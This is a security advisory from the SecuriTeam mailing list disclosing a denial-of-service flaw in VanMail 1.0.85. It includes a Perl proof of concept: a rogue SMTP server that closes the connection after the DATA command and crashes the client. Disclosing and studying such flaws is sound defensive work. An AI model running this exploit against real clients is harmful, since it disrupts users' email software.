[NT] VanMail DoS

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  VanMail DoS
------------------------------------------------------------------------


SUMMARY

" <http://www.vandaveer.com/vanmail/> VanMail is a powerful POP3/SMTP 
email client that puts you in control of what messages you want to 
receive."

VanMail can be caused to crash when the response to SMTP DATA command is 
answered by the user closing the socket.

DETAILS

Vulnerable Systems:
 * VanMail version 1.0.85

Exploit:
#!/usr/bin/perl

###############################
# Gss-IT Research And Security Labs #
###############################
# #
# www.GssIT.com #
# #
###############################
# VanMail Ver 1.0.85 Denial Of Service PoC #
###############################
# Use This PoC For Educational Purposes Only #
###############################

use IO::Socket;
use Net::hostent;
use strict;

my $port = "25";

my $server = IO::Socket::INET->new
(
LocalPort => $port,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 5
) or die "Couldn't create Smtp-Server.\n";

while (my $client = $server->accept())
 {

 
 $client->autoflush(1);
 
 my $hostinfo = gethostbyaddr($client->peeraddr);
 printf "=>Connect from %s<=\n", $hostinfo->name ;
 print $client "220 Smtp-Server\r\n" ; # Banner
 
 while ( <$client> )
 
   {
     
     print $_;
     
     next unless /\S/;
     if (/quit|exit/i) { last; }
     elsif (/HELO/i ) { print $client "250 Smtp-Server\n"; }
     elsif (/MAIL FROM/i ) { print $client "250 Ok\n"; }
     elsif (/RCPT TO/i ) { print $client "250 Ok\n"; }
     elsif (/DATA/i ) { print $client "354 Start\n";
                               close $client; } # <==
   }
   
   close $client;
   
 }

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:gss_it@yahoo.com> Ziv Kamir.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.